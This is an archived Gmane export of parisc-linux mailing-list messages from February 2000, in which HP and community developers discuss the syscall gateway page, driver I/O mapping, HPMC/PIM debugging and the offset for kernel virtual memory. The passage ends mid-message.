> > pagetable_init.
> > 
> > Ulrich
> 
> [...]
> 
> > No such device
> > current = c2fe6000, mm = c2ec1040, mmap_sem =
> c2ec105c
> > set_pte c2ec5068 02c1a605
> > current = c2fe6000, mm = c2ec1040, mmap_sem =
> c2ec105c
> > set_pte c2ebc038 0100e605
> > Kernel panic: Attempted to kill init!
> 
> 
> The `No such device' message makes me curious.  What
> ramdisk.bin are
> you using?
>

Whoops, sorry this was my fault. I should have read
John Marvin's message "Lan configuration failures"
from Feb 01, 2000. I was using the latest ramdisk
(20000129). I changed this to the 19991108 (!) version
and now I get my shell prompt again !

What is the difference between the 6 ramdisks on the
ftp server ? 

Anyway, thanks for the quick reply.
Ulrich
 
__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com


From - Thu Nov 08 21:11:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux syscall ABI
Date: Tue, 15 Feb 2000 09:25:12 -0800
Lines: 41
Approved: news@gmane.org
Message-ID: <200002151725.JAA05629@milano.cup.hp.com>
References: <200002150536.WAA04580@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618773 30440 80.91.229.3 (22 Nov 2014 01:12:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: grundler@cup.hp.com  Tue Feb 15 11:23:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA12229
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Feb 2000 11:23:37 -0700
Original-Received: (qmail 31034 invoked by uid 15267); 15 Feb 2000 17:24:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31027 invoked from network); 15 Feb 2000 17:24:14 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 15 Feb 2000 17:24:14 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP id 12CB767C
	for <parisc-linux@thepuffingroup.com>; Tue, 15 Feb 2000 12:24:13 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id JAA05629; Tue, 15 Feb 2000 09:25:14 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 14 Feb 2000 22:36:39 PST."
             <200002150536.WAA04580@udlkern.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6836

John Marvin wrote:
...
> > Of course every page in the region 0xfffc0000 - 0x3f fffc (it's a 17-bit
> > signed immediate shifted left 2 bits, so that should be -2^18 - 2^18-4)
> > can be used, so we just need a page within the first 256 KB.
>  
> This is true for user space. For kernel space, I don't think we can
> use anything in F space, unless we map the real IO addresses somewhere
> else in virtual space. I'm not sure what assumptions are being made
> right now regarding that mapping in the drivers.

Drivers don't map anything. The assumption for GSC/PCI drivers is the
address given will work with readl/writel (or inb/outb) routines.

For GSC, the HPA is in the struct hp_device->hpa field and readl/writel
are aliases for gsc_readl/gsc_writel.

For PCI devices the base address is in struct pci_device ->resources[].
The PCI drivers know to use MMIO or I/O port space for their device
(often based on #define flags).  And again readl/writel alias to
gsc_readl/gsc_writel for MMIO. inl/outl are defined to be an indirect
function call to either Dino or "lba" PCI services (similar to
how pci_config_read is an indirect call).

gsc_readl/writel take a physical address as the address parameter.
I would like to get away from gsc_read for one simple reason: HPMC.
If a driver incorrectly accesses something which isn't supposed to
we get either an HPMC or undefined behavior. Most likely the HPMC.
If the read/write routines referenced a virtual address, we have
much better chances of getting a data page fault and some decent
debugging information to track down the problem.

This is #2 on my TODO list after reviewing the coherent DMA services
recently introduced in 2.3.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux syscall ABI
Date: Tue, 15 Feb 2000 19:18:58 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20000215191858.P765@abacus.local>
References: <200002150536.WAA04580@udlkern.fc.hp.com> <200002151725.JAA05629@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618773 30449 80.91.229.3 (22 Nov 2014 01:12:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:53 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@inwestnet.de  Tue Feb 15 12:19:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA12809
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Feb 2000 12:19:32 -0700
Original-Received: (qmail 7754 invoked by uid 15267); 15 Feb 2000 18:20:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7717 invoked from network); 15 Feb 2000 18:20:06 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 15 Feb 2000 18:20:06 -0000
Original-Received: (qmail 12327 invoked from network); 15 Feb 2000 18:20:00 -0000
Original-Received: from port0108.fra.ginko.net (HELO inwestnet.de) (root@212.202.70.108)
  by mail.ginko.net with SMTP; 15 Feb 2000 18:20:00 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id TAA23326;
	Tue, 15 Feb 2000 19:19:58 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <200002151725.JAA05629@milano.cup.hp.com>; from grundler@cup.hp.com on Tue, Feb 15, 2000 at 09:25:12AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6837

> Drivers don't map anything. The assumption for GSC/PCI drivers is the
> address given will work with readl/writel (or inb/outb) routines.

PCI drivers call ioremap(), which is free to do the mapping (but I don't
think it should, for PA-RISC).

> For GSC, the HPA is in the struct hp_device->hpa field and readl/writel
> are aliases for gsc_readl/gsc_writel.

which itself will be aliased to simple volatile accesses soon.

> gsc_readl/writel take a physical address as the address parameter.
> I would like to get away from gsc_read for one simple reason: HPMC.
> If a driver incorrectly accesses something which isn't supposed to
> we get either an HPMC or undefined behavior. Most likely the HPMC.
> If the read/write routines referenced a virtual address, we have
> much better chances of getting a data page fault and some decent
> debugging information to track down the problem.

HPMC is good debugging information - you've got PIM.  Of course, we want
an HPMC handler too, at some point.  The assembly part just tries to
find out if the machine is still usable, and resets it if it's not. 
If it is, we'd like it to be treated as normal interruption, and then
have a CPU-specific fault handler that reads the interesting registers
and prints a nice message.

	Philipp Rumpf


From - Thu Nov 08 21:11:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@mvista.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux syscall ABI
Date: Tue, 15 Feb 2000 11:15:46 -0800
Organization: Montavista Software, Inc
Lines: 46
Approved: news@gmane.org
Message-ID: <38A9A5E2.41215D5C@mvista.com>
References: <200002150536.WAA04580@udlkern.fc.hp.com> <200002151725.JAA05629@milano.cup.hp.com> <20000215191858.P765@abacus.local>
Reply-To: frowand@mvista.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618773 30455 80.91.229.3 (22 Nov 2014 01:12:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:53 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, John Marvin <jsm@udlkern.fc.hp.com>,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@inwestnet.de>
Original-X-From: frank_rowand@mvista.com  Tue Feb 15 13:19:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA13369
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Feb 2000 13:19:26 -0700
Original-Received: (qmail 18769 invoked by uid 15267); 15 Feb 2000 19:20:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18752 invoked from network); 15 Feb 2000 19:20:03 -0000
Original-Received: from gateway.mvista.com (HELO hermes.mvista.com) (63.192.220.206)
  by mailserv2.iuinc.com with SMTP; 15 Feb 2000 19:20:03 -0000
Original-Received: from mvista.com (IDENT:frowand@mossi.mvista.com [10.0.0.71])
	by hermes.mvista.com (8.9.3/8.9.3) with ESMTP id LAA07298;
	Tue, 15 Feb 2000 11:15:46 -0800
Original-Sender: frowand@hermes.mvista.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12-20b i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6838

Philipp Rumpf wrote:
> 
> > Drivers don't map anything. The assumption for GSC/PCI drivers is the
> > address given will work with readl/writel (or inb/outb) routines.
> 
> PCI drivers call ioremap(), which is free to do the mapping (but I don't
> think it should, for PA-RISC).
> 
> > For GSC, the HPA is in the struct hp_device->hpa field and readl/writel
> > are aliases for gsc_readl/gsc_writel.
> 
> which itself will be aliased to simple volatile accesses soon.
> 
> > gsc_readl/writel take a physical address as the address parameter.
> > I would like to get away from gsc_read for one simple reason: HPMC.
> > If a driver incorrectly accesses something which isn't supposed to
> > we get either an HPMC or undefined behavior. Most likely the HPMC.
> > If the read/write routines referenced a virtual address, we have
> > much better chances of getting a data page fault and some decent
> > debugging information to track down the problem.
> 
> HPMC is good debugging information - you've got PIM.  Of course, we want
> an HPMC handler too, at some point.  The assembly part just tries to
> find out if the machine is still usable, and resets it if it's not.
> If it is, we'd like it to be treated as normal interruption, and then
> have a CPU-specific fault handler that reads the interesting registers
> and prints a nice message.
> 
>         Philipp Rumpf
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

An HPMC may be delayed, relative to the instruction that caused it.  The worst
case is that a context switch _could_ occur before the HPMC occurs (and yes,
we did see this problem with our HP-UX and HP-RT VME systems when a VME
time-out was long enough).  This can make it more difficult to figure out what
instruction was issued to cause the HPMC. The advantage of the page fault is
that you know exactly what instruction caused the fault.

-Frank
-- 
MontaVista Software, Inc
frank_rowand@mvista.com


From - Thu Nov 08 21:11:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux syscall ABI
Date: Tue, 15 Feb 2000 18:34:14 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <200002160234.SAA06672@milano.cup.hp.com>
References: <20000215191858.P765@abacus.local>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618774 30463 80.91.229.3 (22 Nov 2014 01:12:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@inwestnet.de>
Original-X-From: grundler@cup.hp.com  Tue Feb 15 20:32:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA16255
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Feb 2000 20:32:42 -0700
Original-Received: (qmail 6420 invoked by uid 15267); 16 Feb 2000 02:33:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6413 invoked from network); 16 Feb 2000 02:33:19 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 16 Feb 2000 02:33:19 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id BD91374F
	for <parisc-linux@thepuffingroup.com>; Tue, 15 Feb 2000 18:33:18 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id SAA06672; Tue, 15 Feb 2000 18:34:20 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 15 Feb 2000 19:18:58 PST."
             <20000215191858.P765@abacus.local> 
Xref: news.gmane.org gmane.linux.ports.parisc:6839

Philipp Rumpf wrote:
...
> HPMC is good debugging information - you've got PIM.

IMO, Frank didn't say this clearly:
	PIM is not "good debugging information".

Given the complexity of the systems, knowing *some* (not all)
of the HW state is marginally useful at best. When we get
into debugging driver problems later on, this will be clearer.

Besides the asynchronous nature of HPMCs, PIMs are unique to each
class of box. So decoding a PIM on a K-class is quite different
from the PIM on N or L-class. Only recently have tools been made
internally available to help decode each type of PIM. I wouldn't
hold my breath waiting for those to get published.


> Of course, we want
> an HPMC handler too, at some point.  The assembly part just tries to
> find out if the machine is still usable, and resets it if it's not.
> If it is, we'd like it to be treated as normal interruption, and then
> have a CPU-specific fault handler that reads the interesting registers
> and prints a nice message.

If linux could learn to dump host memory to disk, then HPMC's would
a bit easier to debug since one could review data structures for suspect
code. I think that's what the HPMC handler is intended for - not
attempt to recover. Attempting to recover from an asyncronous fault
doesn't sound feasible to me. But what do I know anyway....

later,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux syscall ABI
Date: Wed, 16 Feb 2000 1:33:37 PST
Lines: 70
Approved: news@gmane.org
Message-ID: <200002160933.BAA19152@chrome.rose.hp.com>
References: <200002160234.SAA06672@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618774 30466 80.91.229.3 (22 Nov 2014 01:12:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:54 +0000 (UTC)
Cc: prumpf@inwestnet.de, parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: kirkb@chrome.rose.hp.com  Wed Feb 16 03:31:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA18557
	for <parisc-linux@puffin.external.hp.com>; Wed, 16 Feb 2000 03:31:08 -0700
Original-Received: (qmail 11377 invoked by uid 15267); 16 Feb 2000 09:31:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11370 invoked from network); 16 Feb 2000 09:31:43 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 16 Feb 2000 09:31:43 -0000
Original-Received: from chrome.rose.hp.com (chrome.rose.hp.com [15.8.150.209])
	by atlrel2.hp.com (Postfix) with ESMTP id A6143CBA
	for <parisc-linux@thepuffingroup.com>; Wed, 16 Feb 2000 04:31:42 -0500 (EST)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.7.3) id BAA19152; Wed, 16 Feb 2000 01:33:37 -0800 (PST)
In-Reply-To: <200002160234.SAA06672@milano.cup.hp.com>; from "Grant Grundler" at Feb 15, 100 6:34 pm
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:6840

Grant wrote:

| 
| Given the complexity of the systems, knowing *some* (not all)
| of the HW state is marginally useful at best. When we get
| into debugging driver problems later on, this will be clearer.
| 
| Besides the asynchronous nature of HPMCs, PIMs are unique to each
| class of box. So decoding a PIM on a K-class is quite different
| from the PIM on N or L-class. Only recently have tools been made
| internally available to help decode each type of PIM. I wouldn't
| hold my breath waiting for those to get published.

There are two key take aways from what Grant has said: 

1. There are some platform specific tools which help PIM analysis.  As
   someone who has read literally thousands of PIM dumps over 10 years
   worth of server platforms, and as someone who has contributed some of
   the analysis tools, I would say that the tools only automate the
   decoding of status register values (which are all implementation
   specific). There has never been an expert tool which pulls in a 
   PIM dump and spits out the answer. 

2. The platforms which Grant specified are server platforms, not the
   workstations.  In my experience, you're going to find many more
   people familiar with server PIM dump output than workstations, simply
   because of the threshold of pain of the customer base. A server
   customer is much more concerned with getting a fully analysis of
   each and every failure than a workstation customer.

In general, for real hardware faults, PIM dumps are usually as good 
as the underlying hardware error logging registers in telling an
expert what has gone wrong. But, in this case, when there is an OS or
OS/hardware interaction, the PIM is usually not enough. 

| 
| If linux could learn to dump host memory to disk, then HPMC's would
| a bit easier to debug since one could review data structures for suspect
| code. I think that's what the HPMC handler is intended for - not
| attempt to recover. Attempting to recover from an asyncronous fault
| doesn't sound feasible to me. But what do I know anyway....
| 

I don't know what Grant does (n't) know :), but I second the call for a
core dump.  To give an example of a complex hardware/OS interaction, I
was once debugging a system which was regularly getting OS panics due to
data page faults.  As a hardware engineer I would, as a matter of
principle, blaim software and then firmware.  But, the problem was
actually a double bit error due to a bad SRAM in the instruction cache
which was corrupting an instruction.  I only found this out by comparing
instructions and data in the memory dumps with the data stored in
PIM dumps.

As to recovery from HMPCs, I can only speak to the hardware generated
exceptions.  Most of the hardware generated HPMCs are linked to 
events which calls into question the validity of information. Get a
parity error on a private, dirty cache line? Well that means that there
is no valid copy anywhere. Better to dump PIM and halt immediately
rather than possibly commit bad data to permanent storage.  I think
that you have to be pretty confident to continue with other than
a core dump or tombstone page.

KMB
--
+============================================================+
|       Kirk Bresniker    	(916) 748-2393		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:11:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux syscall ABI
Date: Wed, 16 Feb 2000 06:57:08 -0700 (MST)
Lines: 88
Approved: news@gmane.org
Message-ID: <200002161357.GAA11682@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618774 30467 80.91.229.3 (22 Nov 2014 01:12:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Wed Feb 16 07:56:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA20031
	for <parisc-linux@puffin.external.hp.com>; Wed, 16 Feb 2000 07:56:36 -0700
Original-Received: (qmail 15095 invoked by uid 15267); 16 Feb 2000 13:57:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15084 invoked from network); 16 Feb 2000 13:57:10 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 16 Feb 2000 13:57:10 -0000
Original-Received: from udlkern.fc.hp.com (jsm@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id GAA20442
	for <parisc-linux@thepuffingroup.com>; Wed, 16 Feb 2000 06:57:09 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.1) id GAA11682 for parisc-linux@thepuffingroup.com; Wed, 16 Feb 2000 06:57:08 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6841


> This sounds to me like a typical case of doing a static optimization (is
> this a memcpy() to I/O space, from I/O space, to and from I/O space) at
> runtime.

I believe there are some cases in the graphics libraries where it is
not known at runtime whether the destination will be IO (framebuffer)
or memory. But I also tend to agree with you. 99.9% of the use of memcpy
will not be for IO, so it probably would have made more sense for the
graphics libraries, and any other code where there is any possibility
of being handed a pointer to IO space, to handle it in a different way,
rather than having the test be in memcpy.


> > But Perhaps we can have a 16 Mb offset instead.
>
> I think not mapping the first 64 KB and making a copy of page 0 somewhere
> else would make sense.  Then we could use the first 64 KB of the virtual
> address space to implement gateway pages.

We can probably use a smaller offset than 16 Mb but 64 Kb won't work.  We
have to make sure that the kernel space virtual addresses are equivalently
aliased with their physical addresses. 64 Kb would work on a 712, but it
won't work on a C3000.  Currently PCXU supports a maximum external direct
mapped cache size of 4 Mb, and I don't think that has been increased for
PCXW.  I'm not sure what the largest actually implemented direct mapped
cache is, but I know it is at least 2 Mb.  Of course, to take full
advantage of large pages, it might make sense to use a larger offset, i.e.
64 Mb.

Rereading what you said above made me realize that you probably were not
talking about a 64 Kb offset. If so, then you are talking about
still using an offset of 0, but just not mapping the first 64 Kb a memory,
i.e. throwing those pages "away" (actually we can probably find ways
to use them). The only problem with this is that we would be prevented
from using maximally large tlb mappings to map the first 64 Mb of memory.
If we moved the offset to 64 Mb we could use 64 Mb page size mappings
to map the kernel address space. The cost of this is that it reduces
the amount of physical memory we can support.  We can't support 4 Gb
(at least not easily), since we need virtual space for the vmalloc area.
So I'm not sure losing 64 Mb of virtual space at the bottom end is that
much of an issue.

What is the largest amount of physical memory we want to support for the
32 bit implementation?  How hard do we want to work to achieve it?  We
can't support more than 4 Gb.  It would take some work to support 4 Gb.
My feeling is that if we supported 3.5 Gb max that would be more than
adequate.  We could use a 64 Mb offset and use 64 Mb page size mappings to
cover the kernel address space.  This should leave enough space for the
vmalloc area.

> >
> > I like this idea.  The only disadvantage is that if the user modifies sr2
> > by mistake, all of a sudden all of the syscalls stop working (for that
> > process only).
>
> I don't see a real problem with that.  Modifying SR2 requires either direct
> modification (the only code I could see doing that is HP/UX code, which isn't
> supposed to execute with PER_LINUX anytime soon) or executing random bytes,
> which will always break in unexpected ways.
>

I agree that it is not a significant enough problem to stop us from doing
this. So, I propose the following:

    1) When we move the kernel virtual mappings we will leave room at
    the bottom to a) properly trap on null pointer dereferences, and
    b) provide room for a Linux syscall gateway page in the kernel
    address space (space 0). This gateway page will be located at an
    offset within the positive offset range of a ble instruction.

    2) We will set sr2 to zero for each process.

    3) We will only map an HP-UX syscall gateway page into HP-UX
    processes, i.e. we will not map any gateway page into the user
    address space for PER_LINUX processes.

    4) Linux syscalls will use the following 2 instruction sequence
    to reach the gateway page:

	ble <gateway offset>)(%sr2,%r0)
	ldi <syscall #>,%r20

So, if anyone has a significant problem with this proposal, speak up.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:11:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Location of HIL protocol docs?
Date: Wed, 16 Feb 2000 09:04:38 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0002160902200.1173-100000@mojo.calyx.net>
References: <20000215135043.N765@abacus.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618775 30471 80.91.229.3 (22 Nov 2014 01:12:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:55 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Wed Feb 16 08:04:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA20396
	for <parisc-linux@puffin.external.hp.com>; Wed, 16 Feb 2000 08:04:01 -0700
Original-Received: (qmail 19118 invoked by uid 15267); 16 Feb 2000 14:04:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19111 invoked from network); 16 Feb 2000 14:04:40 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 16 Feb 2000 14:04:40 -0000
Original-Received: (qmail 11273 invoked from network); 16 Feb 2000 14:04:38 -0000
Original-Received: from mojo.calyx.net (HELO mojo) (ifog2skhuqddd20wf02c@208.132.136.2)
  by mail.calyx.net with SMTP; 16 Feb 2000 14:04:38 -0000
In-Reply-To: <20000215135043.N765@abacus.local>
Xref: news.gmane.org gmane.linux.ports.parisc:6842



A brief poking around HP's site didn't turn me up any links --
and I'd prefer to enhance the existing code if appropriate, 
rather than just reformat it, not to mention debugging might 
go faster if I actually understand what I'm doing :).

Anyone got a link to tech docs on HIL?

--
Brian S. Julin



From - Thu Nov 08 21:11:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Virtual mapping of IO cards
Date: Wed, 16 Feb 2000 08:25:17 -0700 (MST)
Lines: 44
Approved: news@gmane.org
Message-ID: <200002161525.IAA14558@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618775 30475 80.91.229.3 (22 Nov 2014 01:12:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:55 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Wed Feb 16 09:24:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA20949
	for <parisc-linux@puffin.external.hp.com>; Wed, 16 Feb 2000 09:24:41 -0700
Original-Received: (qmail 3633 invoked by uid 15267); 16 Feb 2000 15:25:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3624 invoked from network); 16 Feb 2000 15:25:19 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 16 Feb 2000 15:25:19 -0000
Original-Received: from udlkern.fc.hp.com (jsm@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id IAA27395
	for <parisc-linux@thepuffingroup.com>; Wed, 16 Feb 2000 08:25:18 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.1) id IAA14558 for parisc-linux@thepuffingroup.com; Wed, 16 Feb 2000 08:25:17 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6843

Note: I've changed the subject, because I think this issue is mostly
separate from the Linux syscall issue.

> An HPMC may be delayed, relative to the instruction that caused it.  The
> worst case is that a context switch _could_ occur before the HPMC occurs
> (and yes, we did see this problem with our HP-UX and HP-RT VME systems
> when a VME time-out was long enough).  This can make it more difficult to
> figure out what instruction was issued to cause the HPMC.  The advantage
> of the page fault is that you know exactly what instruction caused the
> fault.

But this doesn't help make your case.  You got the HPMC anyway because the
card failed to respond in time.  The virtual mapping didn't help you.

Virtually mapping the card doesn't help with HPMC's caused by dma buffer
mismanagement (i.e. the card causes the HPMC while mastering the bus).

Drivers for memory mapped register only cards, i.e. cards without any
type of onboard memory (i.e. framebuffers, script memory, etc.) are
not very likely to ever run into a bug of this type, since register
pointers are usually set up once and never changed.

In my experience, the majority of HPMC's have been caused by VM errors.
Then comes the two cases mentioned above (card not responding, dma
errors).  In my experience, the majority of driver page faults were caused
by memory references (i.e. mismanaging memory buffers), not IO space
references.  I can't say I've ever seen a driver page fault bug (i.e. one
that would have HPMC'd in the current Linux implementation) that was
caused by the driver mismanaging a pointer to its virtually mapped card
